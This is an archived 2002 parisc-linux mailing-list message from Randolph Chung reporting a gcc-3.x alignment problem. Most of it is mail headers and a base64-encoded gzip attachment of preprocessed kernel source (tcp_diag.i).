Subject: [parisc-linux] Re: gcc-3.[02] alignment problem
Date: Mon, 15 Jul 2002 22:01:04 -0700
Lines: 1731
Approved: news@gmane.org
Message-ID: <20020716050104.GB641__8432.35310535437$1416621537$gmane$org@tausq.org>
References: <20020716050031.GA641@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="VS++wcV0S1rZb1Fb"
X-Trace: ger.gmane.org 1416621537 11112 80.91.229.3 (22 Nov 2014 01:58:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:57 +0000 (UTC)
Cc: gcc@gcc.gnu.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 22:57:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id C03BE4888
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 22:57:32 -0600 (MDT)
Original-Received: (qmail 15472 invoked from network); 16 Jul 2002 04:57:22 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 16 Jul 2002 04:57:22 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0F1DECE04E; Mon, 15 Jul 2002 22:01:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020716050031.GA641@tausq.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15549

--VS++wcV0S1rZb1Fb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> preprocessed source attached.

really attached this time <sigh>

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--VS++wcV0S1rZb1Fb
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="tcp_diag.i.gz"
Content-Transfer-Encoding: base64

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
